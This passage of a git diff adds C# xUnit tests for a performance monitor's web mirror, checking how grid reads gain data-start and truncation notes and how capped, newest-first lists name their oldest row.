+SET event_type = $2,
+    event_xml = regexp_replace($3, 'timestamp=""[^""]*""', 'timestamp=""' || to_char(event_time, 'YYYY-MM-DD""T""HH24:MI:SS.MS') || 'Z""')
+WHERE server_id = $1", connection);
+            update.Parameters.AddWithValue(serverId);
+            update.Parameters.AddWithValue(eventType);
+            update.Parameters.AddWithValue(xml);
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        /// <summary>The tool's own payload for a system_health read, then the data-start note.</summary>
+        public async Task<JsonObject> AskHealthReadAsync(string read, string server, int hours, CancellationToken ct)
+        {
+            var payload = read switch
+            {
+                "get_health_parser_severe_errors" => await DarlingMcpHealthParserTools.GetSevereErrors(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_health_parser_system_health" => await DarlingMcpHealthParserTools.GetSystemHealth(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                _ => throw new ArgumentOutOfRangeException(nameof(read), read, "not a seeded system_health read"),
+            };
+            var answered = await WebDataStartNote.AddAsync(DataSource, read, server, hours, null, payload, null, ct);
+            return Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        }
+
+        /// <summary>What the web mirror answers for the grid: the tool's own payload, then the data-start note.</summary>
+        public async Task<JsonObject> AskAsync(string server, int hours, CancellationToken ct)
+        {
+            var payload = await DarlingMcpSessionTools.GetWaitingTasks(DataSource, server, hours, PageCap, null, cancellationToken: ct);
+            var answered = await WebDataStartNote.AddAsync(DataSource, "get_waiting_tasks", server, hours, null, payload, null, ct);
+            return Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteTests.cs b/Darling/Darling.Tests/WebDataStartNoteTests.cs
new file mode 100644
index 0000000000..b4ae501994
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteTests.cs
@@ -0,0 +1,1044 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server page's grids say where the data starts (#4966). A grid over a window hides a short history, so the
+/// web mirror adds <c>window_truncated</c>, <c>effective_start</c> and <c>truncation_note</c> to the grid reads
+/// listed in <see cref="WebDataStartNote.TableByRead"/>, and the page draws the note above the rows. These cover what
+/// needs no store: the list itself, every case that must come back untouched, the page code run under Node (the
+/// shipped <c>util.js</c>, <c>panels.js</c> and <c>pages/server-tabs.js</c>), and pins on the wiring. The store's
+/// side, rows that start inside the range and a quiet start, is <see cref="WebDataStartNoteLiveTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class WebDataStartNoteTests
+{
+    private const string Rows = "{\"server\":\"sql01\",\"hours_back\":168,\"waiting_tasks\":[{\"wait_type\":\"LCK_M_X\"}]}";
+
+    private const string FloorNote = "partial window: this panel's data starts at 2026-01-02 00:00 UTC";
+
+    /// <summary>What <c>get_waiting_tasks</c> answers when the window held more than its row cap: the newest rows,
+    /// the page's 30, with the two fields that say the cap cut the list and where the shown rows end.</summary>
+    private const string CappedTasks =
+        "{\"server\":\"sql01\",\"hours_back\":48,\"tasks_returned\":30,\"truncated\":true,"
+        + "\"oldest_returned_collection_time\":\"2026-01-02T12:30:00.0000000\",\"newest_returned_collection_time\":\"2026-01-03T00:00:00.0000000\","
+        + "\"order\":\"collection_time_desc\",\"tasks\":[{\"wait_type\":\"LCK_M_X\"}]}";
+
+    /// <summary>What <c>get_plan_corrections</c> answers when the window held more than its row cap: the newest
+    /// recommendations, the page's limit, and the fields that say so (the tool writes the oldest time through
+    /// <c>McpHelpers.FormatEffectiveStart</c>, so it ends in a Z).</summary>
+    private const string CappedCorrections =
+        "{\"server\":\"sql01\",\"hours_back\":48,\"recommendations_returned\":25,\"truncated\":true,"
+        + "\"oldest_returned_collection_time\":\"2026-01-02T12:30:00.0000000Z\",\"newest_returned_collection_time\":\"2026-01-03T00:00:00.0000000Z\","
+        + "\"order\":\"collection_time_desc\",\"automatic_tuning\":[],\"recommendations\":[{\"database_name\":\"db1\"}]}";
+
+    private const string WindowEnd = "2026-01-03T00:00:00Z";
+
+    private static string[] Strings(JsonElement node, string name) =>
+        node.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    /// <summary>A data source that never connects (nothing listens on port 9) and a token that is already cancelled: the
+    /// instrument for "this answer never asked the store". A read that does reach the store throws
+    /// <see cref="OperationCanceledException"/>, because neither the resolver's fault sentence nor <c>AddAsync</c>'s
+    /// own catch folds a cancellation (#4203). A null source cannot show that: its throw becomes a fault sentence, and
+    /// the answer comes back untouched whether or not a guard held. Every use pairs with a control that does reach
+    /// the store, so an instrument that stopped seeing a reach would fail loudly rather than pass every case.</summary>
+    private static NpgsqlDataSource NeverConnects() =>
+        NpgsqlDataSource.Create("Host=127.0.0.1;Port=9;Username=x;Database=x;Timeout=1;Pooling=false");
+
+    private static readonly CancellationToken Cancelled = new(canceled: true);
+
+    private static DateTime Utc(int year, int month, int day, int hour = 0, int minute = 0) =>
+        new(year, month, day, hour, minute, 0, DateTimeKind.Utc);
+
+    [Fact]
+    public void EveryListedRead_IsServedByTheWebMirror_AsAGridThePageAsksAWindowOf_OverATableTheProbeCanRead()
+    {
+        var dispatch = DarlingWebEndpoints.BuildReadDispatch();
+        var tabs = ReadRepoFile(
+            "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        foreach (var (read, table) in WebDataStartNote.TableByRead)
+        {
+            Assert.True(dispatch.ContainsKey(read), read + " is not a read the web mirror serves");
+            Assert.True(
+                WebDataStartNote.TryGetSource(table, out _),
+                read + " names " + table + ", which the data-start probe cannot read by index");
+            Assert.Contains("\"" + read + "\"", tabs, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(WebDataStartNote.TableByRead.Count, WebDataStartNote.TableByRead.Keys.Distinct(StringComparer.Ordinal).Count());
+    }
+
+    /// <summary>The sparse reads are probed on their collector's logged runs (F1): every name in the map is a listed read, a
+    /// collector the catalog lists, and a source that reads the collection log scoped to that collector. Every other listed
+    /// read keeps the source of its table.</summary>
+    [Fact]
+    public void TheSparseReads_AreProbedOnTheirCollectorsRuns_AndEveryOtherReadKeepsItsTable()
+    {
+        Assert.Equal(
+            [
+                "get_pg_autovacuum_health", "get_pg_blocking", "get_pg_replication_slots", "get_pg_replication_stats",
+                "get_pg_session_states", "get_pg_xmin_horizon",
+            ],
+            WebDataStartNote.CollectorRunsByRead.Keys.Order(StringComparer.Ordinal).ToArray());
+
+        foreach (var (read, collector) in WebDataStartNote.CollectorRunsByRead)
+        {
+            Assert.Contains(read, WebDataStartNote.TableByRead.Keys);
+            Assert.Contains(PerformanceMonitor.Collectors.CollectorCatalog.All, c => string.Equals(c.Name, collector, StringComparison.Ordinal));
+            Assert.True(WebDataStartNote.TryGetReadSource(read, out var source));
+            Assert.Equal("collection_log", source.Relation);
+            Assert.NotNull(source.LogCollectorName);
+            Assert.Equal(collector, source.LogCollectorName);
+        }
+
+        foreach (var (read, table) in WebDataStartNote.TableByRead.Where(kv => !WebDataStartNote.CollectorRunsByRead.ContainsKey(kv.Key)))
+        {
+            Assert.True(WebDataStartNote.TryGetReadSource(read, out var source));
+            Assert.True(WebDataStartNote.TryGetSource(table, out var expected));
+            Assert.Equal(expected.Relation, source.Relation);
+            Assert.Null(source.LogCollectorName);
+        }
+
+        Assert.False(WebDataStartNote.TryGetReadSource("get_active_queries", out _));
+    }
+
+    /// <summary>The vacuum, horizon, slot and write tiles are listed over the table their tool reads. The freeze headroom and the
+    /// checkpoint and WAL tables get a row every collection, so they keep the table's own start; the horizon holders, the autovacuum
+    /// backlog and the slots store a row only while one exists, so they are probed on the collector's runs (the slot collector is
+    /// named pg_replication_slots and writes pg_replication_slot_stats). The horizon read's nothing-found word is no_holder.</summary>
+    [Fact]
+    public void TheVacuumHorizonSlotAndWriteReads_AreListedOverTheirTables_AndTheSparseOnesAreProbedOnTheirCollectorsRuns()
+    {
+        var expected = new (string Read, string Table, string? Collector)[]
+        {
+            ("get_pg_wraparound_risk", "pg_wraparound_stats", null),
+            ("get_pg_xmin_horizon", "pg_xmin_horizon", "pg_xmin_horizon"),
+            ("get_pg_autovacuum_health", "pg_autovacuum_stats", "pg_autovacuum_stats"),
+            ("get_pg_replication_slots", "pg_replication_slot_stats", "pg_replication_slots"),
+            ("get_pg_write_stats", "pg_write_stats", null),
+        };
+
+        foreach (var (read, table, collector) in expected)
+        {
+            Assert.Equal(table, WebDataStartNote.TableByRead[read]);
+            Assert.True(WebDataStartNote.TryGetReadSource(read, out var source));
+            if (collector is null)
+            {
+                Assert.Equal(table, source.Relation);
+                Assert.Null(source.LogCollectorName);
+                Assert.DoesNotContain(read, WebDataStartNote.CollectorRunsByRead.Keys);
+            }
+            else
+            {
+                Assert.Equal("collection_log", source.Relation);
+                Assert.Equal(collector, WebDataStartNote.CollectorRunsByRead[read]);
+                Assert.Equal(collector, source.LogCollectorName);
+            }
+        }
+
+        Assert.Equal("no_holder", WebDataStartNote.NothingFoundStatusByRead["get_pg_xmin_horizon"]);
+        foreach (var read in new[] { "get_pg_wraparound_risk", "get_pg_autovacuum_health", "get_pg_replication_slots", "get_pg_write_stats" })
+        {
+            Assert.DoesNotContain(read, WebDataStartNote.NothingFoundStatusByRead.Keys);
+        }
+    }
+
+    /// <summary>Index usage is listed over the table its tool reads (#4966), so the page draws the web's own note and the tool's UTC
+    /// keys are stripped on every return. Its nothing-found word is <c>empty</c> (collection ran, every index under the size floor);
+    /// <c>unavailable</c>, the word for one snapshot or none, is not admitted.</summary>
+    [Fact]
+    public void IndexUsage_IsListedOverItsTable_AndOnlyItsEmptyWordIsNothingFound()
+    {
+        Assert.Equal("pg_index_usage_stats", WebDataStartNote.TableByRead["get_pg_index_usage"]);
+        Assert.DoesNotContain("get_pg_index_usage", WebDataStartNote.CollectorRunsByRead.Keys);
+        Assert.True(WebDataStartNote.TryGetReadSource("get_pg_index_usage", out var source));
+        Assert.Equal("pg_index_usage_stats", source.Relation);
+        Assert.Equal("empty", WebDataStartNote.NothingFoundStatusByRead["get_pg_index_usage"]);
+    }
+
+    [Fact]
+    public async Task AChartRead_HasTheToolsWindowFloorKeysStripped_AndGetsNoNote_WithoutAskingTheStore()
+    {
+        await using var store = NeverConnects();
+        const string withKeys = """{"server":"pg1","hours_back":24,"effective_start":"2026-01-01T00:00:00Z","window_truncated":true,"truncation_note":"UTC sentence","rows":[{"v":1}]}""";
+
+        Assert.Equal(["get_pg_cpu_utilization"], WebDataStartNote.StripOnlyReads.OrderBy(x => x));
+        foreach (var read in WebDataStartNote.StripOnlyReads)
+        {
+            Assert.DoesNotContain(read, WebDataStartNote.TableByRead.Keys);
+            var answered = JsonNode.Parse(await WebDataStartNote.AddAsync(store, read, "pg1", 24, null, withKeys, null, Cancelled))!.AsObject();
+            Assert.False(answered.ContainsKey("effective_start"));
+            Assert.False(answered.ContainsKey("window_truncated"));
+            Assert.False(answered.ContainsKey("truncation_note"));
+            Assert.True(answered.ContainsKey("rows"));
+        }
+    }
+
+    [Fact]
+    public void TheUnlistedMcpReads_AreExactlyOne_AndShareNoKeyWithTheWebsMaps()
+    {
+        Assert.Equal(
+            ["get_pg_cpu_utilization"],
+            DarlingMcpWindowNotice.UnlistedTableByRead.Keys.OrderBy(x => x));
+        foreach (var key in DarlingMcpWindowNotice.UnlistedTableByRead.Keys)
+        {
+            Assert.DoesNotContain(key, WebDataStartNote.TableByRead.Keys);
+            Assert.DoesNotContain(key, WebDataStartNote.CollectorRunsByRead.Keys);
+        }
+    }
+
+    [Fact]
+    public async Task AToolNamedInNeitherMap_CostsOnlyTheNotice()
+    {
+        await using var store = NeverConnects();
+        var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+            store, "get_not_a_tool", "pg1", DateTime.UtcNow.AddHours(-24), DateTime.UtcNow, false, null, CancellationToken.None);
+        Assert.True(notice.IsUnavailable);
+    }
+
+    [Fact]
+    public async Task AnyAnswerThatIsNotAGridReadOverAWindow_ComesBackUntouched_WithoutAskingTheStore()
+    {
+        await using var store = NeverConnects();
+
+        /* None of these reach the store, and each one would if its guard were gone: that would throw
+           OperationCanceledException here (NeverConnects), where a null source folded the throw into a fault
+           sentence and handed back the same answer with or without the guard. */
+        async Task<string> Run(string tool, string? server, int? hours, string payload) =>
+            await WebDataStartNote.AddAsync(store, tool, server, hours, null, payload, null, Cancelled);
+
+        // The control: a listed read with a server and a window does reach the store, and the instrument sees it.
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => Run("get_waiting_tasks", "sql01", 168, Rows));
+
+        // A read that is not on the list: a chart, a newest-snapshot read, an event surface.
+        Assert.Same(Rows, await Run("get_cpu_utilization", "sql01", 168, Rows));
+        /* get_deadlocks left this line when it joined the listed reads (#4966): WebDataStartNoteBlockingDeadlockTests holds it. */
+
+        // A listed read with no server, no window, or a window of nothing.
+        Assert.Same(Rows, await Run("get_waiting_tasks", null, 168, Rows));
+        Assert.Same(Rows, await Run("get_waiting_tasks", "  ", 168, Rows));
+        Assert.Same(Rows, await Run("get_waiting_tasks", "sql01", null, Rows));
+        Assert.Same(Rows, await Run("get_waiting_tasks", "sql01", 0, Rows));
+
+        // An envelope that keeps its own message (unavailable, not_collected), an error, text that is not an object, and a tool that
+        // already reports its own floor (not on the listed reads any more: see below). The empty envelope is not here any more (#4966): it says the read looked and found nothing,
+        // so it reaches the store like rows do (WebDataStartNoteConfigAndLogTests holds that, read by read).
+        const string Empty = "{\"status\":\"unavailable\",\"message\":\"No waiting tasks in this window.\"}";
+        const string NotCollected = "{\"status\":\"not_collected\",\"message\":\"This engine has no waiting tasks.\"}";
+        const string Failed = "{\"error\":\"the store did not answer\"}";
+        const string Own = "{\"window_truncated\":false,\"waiting_tasks\":[]}";
+        Assert.Same(Empty, await Run("get_waiting_tasks", "sql01", 168, Empty));
+        Assert.Same(NotCollected, await Run("get_waiting_tasks", "sql01", 168, NotCollected));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => Run("get_waiting_tasks", "sql01", 168, "{\"status\":\"empty\",\"message\":\"No waiting tasks captured in the specified time range.\"}"));
+        Assert.Same(Failed, await Run("get_waiting_tasks", "sql01", 168, Failed));
+        Assert.Same("[1,2]", await Run("get_waiting_tasks", "sql01", 168, "[1,2]"));
+        Assert.Same("not json", await Run("get_waiting_tasks", "sql01", 168, "not json"));
+        /* A tool's own window-floor keys on a LISTED read no longer end the web's decision (#4966: get_waiting_tasks writes them
+           itself): they are stripped and the note is decided as if they were absent, so this answer reaches the store like rows do.
+           A read outside the list is untouched whatever it carries. */
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => Run("get_waiting_tasks", "sql01", 168, Own));
+        Assert.Same(Own, await Run("get_query_store_top", "sql01", 168, Own));
+    }
+
+    /// <summary>
+    /// A list that reads newest first under a row cap and hit it does not reach back to the window's start, whatever
+    /// the store covers: the grid ends at the oldest row the read returned, so the note names that row. The answer
+    /// already says where that is (<c>oldest_returned_collection_time</c>), so the note needs no probe: the null data
+    /// source here would hand the answer back untouched if the note asked the store.
+    /// </summary>
+    [Fact]
+    public async Task ACappedWaitingTasksRead_NamesTheOldestRowItReturned_WithoutAskingTheStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+
+        var answered = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, CappedTasks, null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000", answer["effective_start"]?.GetValue<string>());
+        Assert.Equal(
+            "partial window: this grid shows only the newest rows, back to 2026-01-02 12:30 UTC, because it stops at its row limit. "
+            + "The window started at 2026-01-01 00:00 UTC. The grid covers 2026-01-02 12:30 to 2026-01-03 00:00 UTC.",
+            answer["truncation_note"]?.GetValue<string>());
+
+        /* The same instants as fields (#4966): the page composes the note from these in the browser's zone, and the
+           sentence above stays for any other reader. A capped list names the oldest row it shows, never a data start. */
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["oldest_shown_utc"]?.GetValue<string>());
+        Assert.Equal("2026-01-01T00:00:00.0000000Z", answer["window_start_utc"]?.GetValue<string>());
+        Assert.Equal("2026-01-03T00:00:00.0000000Z", answer["window_end_utc"]?.GetValue<string>());
+        Assert.Null(answer["data_start_utc"]);
+
+        /* The tool's own fields and rows come through as they were. */
+        Assert.True(answer["truncated"]?.GetValue<bool>());
+        Assert.Equal(30, answer["tasks_returned"]?.GetValue<int>());
+        Assert.Single(answer["tasks"]!.AsArray());
+    }
+
+    /// <summary>
+    /// #4966: the tool writes its own <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c> after
+    /// <c>hours_back</c> (the MCP dialect, in UTC). On a listed read the web still decides its note itself: a capped
+    /// <c>get_waiting_tasks</c> payload that carries the tool's <c>window_truncated: false</c> gets the web's capped
+    /// note, byte for byte what the same payload without the tool's keys gets.
+    /// </summary>
+    [Fact]
+    public async Task ACappedWaitingTasksRead_ThatCarriesTheToolsOwnWindowKeys_StillGetsTheWebsCappedNote()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var withKeys = CappedTasks.Replace(
+            "\"hours_back\":48,",
+            "\"hours_back\":48,\"effective_start\":\"2026-01-01T00:00:00.0000000Z\",\"window_truncated\":false,\"truncation_note\":null,",
+            StringComparison.Ordinal);
+        Assert.NotEqual(CappedTasks, withKeys);
+
+        var plain = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, CappedTasks, null, ct);
+        var answered = await WebDataStartNote.AddAsync(null!, "get_waiting_tasks", "sql01", 48, WindowEnd, withKeys, null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000", answer["effective_start"]?.GetValue<string>());
+        Assert.StartsWith("partial window: this grid shows only the newest rows, back to 2026-01-02 12:30 UTC", answer["truncation_note"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["oldest_shown_utc"]?.GetValue<string>());
+        Assert.Equal(1, answer.Count(p => p.Key == "window_truncated"));
+
+        /* The same fields the plain payload got, with the same values (key order aside: the tool's keys sit earlier). */
+        var plainAnswer = Assert.IsType<JsonObject>(JsonNode.Parse(plain));
+        foreach (var (key, value) in plainAnswer)
+        {
+            Assert.Equal(value?.ToJsonString(), answer[key]?.ToJsonString());
+        }
+    }
+
+    /// <summary>
+    /// #4966: the active-queries panel is not in <see cref="WebDataStartNote.TableByRead"/>, so the page draws the tool's
+    /// own <c>truncation_note</c> as it comes, through <c>windowFloorStrip</c> (a grid only, and only when
+    /// <c>window_truncated</c> is true). That is safe without a page change: the note names no instant, so the page
+    /// has no UTC time to convert and nothing in it mixes two clocks; <c>windowNoteText</c> hands a sentence with no
+    /// matching instant back as sent.
+    /// </summary>
+    [Fact]
+    public void AToolsOwnTruncationNote_OnAPanelOutsideTheList_NamesNoInstant_AndThePageDrawsItOnlyForATruncatedGrid()
+    {
+        Assert.DoesNotContain("get_active_queries", WebDataStartNote.TableByRead.Keys);
+        var notices = new[]
+        {
+            DarlingMcpWindowNotice.Build(null, Utc(2026, 1, 1), "query_snapshots", emptyAnswer: true).TruncationNote!,
+            DarlingMcpWindowNotice.Build(Utc(2026, 1, 3), Utc(2026, 1, 1), "query_snapshots").TruncationNote!,
+        };
+        foreach (var note in notices)
+        {
+            Assert.DoesNotMatch(@"\d{4}-\d{2}-\d{2}|\d{1,2}:\d{2}", note);
+        }
+
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js").ReplaceLineEndings("\n");
+        Assert.Contains("if (!desc || desc.windowNote === false || (desc.viz !== \"table\" && desc.viz !== \"stat\")) return null;", util, StringComparison.Ordinal);
+        Assert.Contains("if (!source || source.window_truncated !== true) return null;", util, StringComparison.Ordinal);
+        Assert.Contains("return sent;\n}", util, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966: the query heatmap and the Query Store regressions panels are grids (<c>table()</c> descriptors, no
+    /// <c>noteKey</c>) and neither read is in <see cref="WebDataStartNote.TableByRead"/>, so the page draws the tool's own
+    /// <c>truncation_note</c> above each, through <c>windowFloorStrip</c>, when the answer says <c>window_truncated: true</c>.
+    /// It is the MCP sentence as sent: it names no instant (the regressions tail says "effective_start" and "baseline_end"
+    /// as field names), so nothing in it mixes the server's UTC with the browser's zone. An <c>empty</c> envelope keeps the
+    /// note under <c>hints</c>, which the page does not read, so it draws none there. No page change is needed.
+    /// </summary>
+    [Theory]
+    [InlineData("get_query_heatmap", "Query Heatmap", "query_stats", false)]
+    [InlineData("get_query_store_regressions", "Query Store Regressions", "query_store_stats", true)]
+    public void TheHeatmapAndRegressionsPanels_DrawTheToolsOwnTruncationNote_AsSent(string read, string title, string table, bool baselineTail)
+    {
+        Assert.DoesNotContain(read, WebDataStartNote.TableByRead.Keys);
+
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+        var open = tabs.IndexOf("table(\n        \"" + title + "\",\n        \"" + read + "\",", StringComparison.Ordinal);
+        Assert.True(open >= 0, read + " is no longer a table() panel on a server tab");
+        var call = tabs[open..tabs.IndexOf("\n      ),", open, StringComparison.Ordinal)];
+        Assert.DoesNotContain("truncation_note", call, StringComparison.Ordinal);
+
+        var note = DarlingMcpWindowNotice.Build(
+            Utc(2026, 1, 3), Utc(2026, 1, 1), table,
+            baselineTail ? "Here the window starts at baseline_start, so the baseline holds only the part from effective_start to baseline_end." : null).TruncationNote!;
+        Assert.DoesNotMatch(@"\d{4}-\d{2}-\d{2}|\d{1,2}:\d{2}", note);
+        Assert.Contains("this server's raw " + table + " retains", note, StringComparison.Ordinal);
+        Assert.Equal(baselineTail, note.EndsWith("baseline_end.", StringComparison.Ordinal));
+
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js").ReplaceLineEndings("\n");
+        Assert.Contains("if (!desc || desc.windowNote === false || (desc.viz !== \"table\" && desc.viz !== \"stat\")) return null;", util, StringComparison.Ordinal);
+        Assert.Contains("if (!source || source.window_truncated !== true) return null;", util, StringComparison.Ordinal);
+        Assert.Contains("return sent;\n}", util, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The capped rule is for the one list ordered by time. A read that did not hit its cap, a capped answer with no
+    /// usable oldest row, and every other listed read, whose cap keeps the top rows of an aggregate over the whole
+    /// window (or of a list ranked by something other than time, <c>get_pg_predicate_stats</c>), stay on the
+    /// coverage rule: the answer comes back through the probe, and the null data source makes the probe fail, so it
+    /// is returned as it was. A capped read the old rule rewrote would not be the same instance.
+    /// </summary>
+    [Fact]
+    public async Task OnlyTheNewestFirstListIsCutByItsCap_EveryOtherAnswerKeepsTheCoverageRule()
+    {
+        var ct = TestContext.Current.CancellationToken;
+
+        async Task<string> Run(string tool, string payload) =>
+            await WebDataStartNote.AddAsync(null!, tool, "sql01", 48, WindowEnd, payload, null, ct);
+
+        // The list's cap was not reached.
+        var uncapped = CappedTasks.Replace("\"truncated\":true", "\"truncated\":false", StringComparison.Ordinal);
+        Assert.Same(uncapped, await Run("get_waiting_tasks", uncapped));
+
+        // Capped, but the answer does not say where its rows end (or says it unreadably): nothing to name.
+        const string NoOldest = "{\"server\":\"sql01\",\"truncated\":true,\"tasks\":[{\"wait_type\":\"LCK_M_X\"}]}";
+        const string BadOldest = "{\"server\":\"sql01\",\"truncated\":true,\"oldest_returned_collection_time\":\"not a time\",\"tasks\":[{\"wait_type\":\"LCK_M_X\"}]}";
+        Assert.Same(NoOldest, await Run("get_waiting_tasks", NoOldest));
+        Assert.Same(BadOldest, await Run("get_waiting_tasks", BadOldest));
+
+        // The plan corrections page is newest first too: a capped one names its oldest row, with no look at the store.
+        var corrections = await Run("get_plan_corrections", CappedCorrections);
+        var named = Assert.IsType<JsonObject>(JsonNode.Parse(corrections));
+        Assert.True(named["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", named["effective_start"]?.GetValue<string>());
+        Assert.StartsWith("2026-01-02T12:30:00", named["oldest_shown_utc"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Null(named["data_start_utc"]);
+
+        // Every listed read the cap does not cut (the capped list names its own), with the same cap fields on its answer.
+        foreach (var read in WebDataStartNote.TableByRead.Keys.Where(k => !WebDataStartNote.NewestFirstCappedReads.Contains(k)))
+        {
+            Assert.Same(CappedTasks, await Run(read, CappedTasks));
+        }
+    }
+
+    /// <summary>The capped rule's premises, in the source: each list is a read ordered by time, newest first, and
+    /// the tool answers the two fields the rule reads (the live tests run the real tool). The collection log and the
+    /// PostgreSQL configuration changes join the waiting tasks (#4966): <c>WebDataStartNoteConfigAndLogTests</c> pins
+    /// theirs. The plan corrections read is the fourth: its reader orders by <c>collection_time DESC</c> and its tool
+    /// writes the same two fields and the same order word.</summary>
+    [Fact]
+    public void TheCappedRule_IsFourReadsOrderedByTime_WhoseToolsAnswerTheFieldsItReads()
+    {
+        Assert.Equal(
+            ["get_collection_log", "get_pg_server_config_changes", "get_plan_corrections", "get_waiting_tasks"],
+            WebDataStartNote.NewestFirstCappedReads.Order(StringComparer.Ordinal).ToArray());
+        foreach (var read in WebDataStartNote.NewestFirstCappedReads)
+        {
+            Assert.Contains(read, WebDataStartNote.TableByRead.Keys);
+        }
+
+        Assert.Contains("ORDER BY collection_time DESC", PerformanceMonitor.Darling.Service.Mcp.DarlingSessionReader.WaitingTasksSql, StringComparison.Ordinal);
+        var tools = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpSessionTools.cs");
+        /* #5244: the public method forwards to the internal overload that takes a DatabaseFilter, and that one holds the body. */
+        var tool = tools.IndexOf("internal static async Task<string> GetWaitingTasks(", StringComparison.Ordinal);
+        Assert.True(tool > 0);
+        var body = tools[tool..];
+        Assert.Contains("truncated,", body, StringComparison.Ordinal);
+        /* #4966: the field is written through the shared formatter (UTC, with the Z); the rule reads it as UTC with or without one. */
+        Assert.Contains("oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime))", body, StringComparison.Ordinal);
+
+        Assert.Contains("ORDER BY collection_time DESC", PerformanceMonitor.Darling.Service.Mcp.DarlingPlanCorrectionReader.PlanCorrectionsSql, StringComparison.Ordinal);
+        var corrections = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPlanCorrectionTools.cs");
+        var correctionsTool = corrections.IndexOf("internal static async Task<string> GetPlanCorrections(", StringComparison.Ordinal);
+        Assert.True(correctionsTool > 0);
+        var correctionsBody = corrections[correctionsTool..];
+        Assert.Contains("var truncated = rows.Count > limit;", correctionsBody, StringComparison.Ordinal);
+        Assert.Contains("oldest_returned_collection_time = page.Count == 0 ? null : McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime))", correctionsBody, StringComparison.Ordinal);
+        Assert.Contains("order = \"collection_time_desc\"", correctionsBody, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The three SQL Server snapshot-table reads added with the page mechanism (#4966): each is served by the web mirror,
+    /// asked a window by the page, and read over the table named here (the rows are stamped with the collection time).
+    /// None answers a "nothing found" word but plan corrections: the memory reads say <c>unavailable</c> when the window
+    /// held no snapshot (and <c>not_collected</c> where the engine has none), which keep their own message.
+    /// </summary>
+    [Fact]
+    public async Task TheMemoryGrantAndPlanCorrectionReads_AreListed_OverTheirSnapshotTables_AndKeepTheirEnvelopes()
+    {
+        (string Read, string Table)[] added =
+        [
+            ("get_memory_grants", "memory_grant_stats"),
+            ("get_resource_semaphore", "memory_grant_stats"),
+            ("get_plan_corrections", "plan_correction"),
+        ];
+        var dispatch = DarlingWebEndpoints.BuildReadDispatch();
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        await using var store = NeverConnects();
+
+        foreach (var (read, table) in added)
+        {
+            Assert.Equal(table, WebDataStartNote.TableByRead[read]);
+            Assert.True(dispatch.ContainsKey(read), read + " is not a read the web mirror serves");
+            Assert.True(WebDataStartNote.TryGetSource(table, out var source), read + " names " + table + ", which the probe cannot read");
+            Assert.Equal(table, source.Relation);
+            Assert.Contains("\"" + read + "\"", tabs, StringComparison.Ordinal);
+
+            // The control: rows reach the store.
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(() => WebDataStartNote.AddAsync(store, read, "sql01", 168, null, Rows, null, Cancelled));
+
+            foreach (var status in new[] { "unavailable", "not_collected", "invalid" })
+            {
+                var envelope = "{\"status\":\"" + status + "\",\"message\":\"" + status + "\"}";
+                Assert.Same(envelope, await WebDataStartNote.AddAsync(store, read, "sql01", 168, null, envelope, null, Cancelled));
+            }
+        }
+
